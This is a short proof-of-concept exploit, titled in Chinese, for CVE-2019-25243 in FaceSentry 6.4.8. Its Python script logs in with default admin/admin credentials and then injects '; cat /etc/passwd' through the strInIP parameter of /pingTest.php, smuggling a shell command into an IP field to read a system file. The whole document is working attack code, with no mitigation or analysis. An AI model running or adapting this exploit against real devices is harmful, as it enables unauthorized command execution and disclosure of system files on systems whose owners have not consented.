CVE-2019-25243 FaceSentry 远程命令注入漏洞

# CVE-2019-25243 PoC - FaceSentry Command Injection # Target: FaceSentry 6.4.8 # Vulnerable Endpoint: /pingTest.php or /tcpPortTest.php # Attack Vector: strInIP parameter import requests from urllib.parse import urlencode target = "http://target.com" username = "admin" password = "admin" # Authentication session = requests.Session() login_data = {"username": username, "password": password} session.post(f"{target}/login.php", data=login_data) # Command Injection via strInIP parameter injected_cmd = "; cat /etc/passwd" params = {"strInIP": f"127.0.0.1{injected_cmd}"} response = session.get(f"{target}/pingTest.php", params=params) print(f"Status: {response.status_code}") print(f"Response: {response.text}")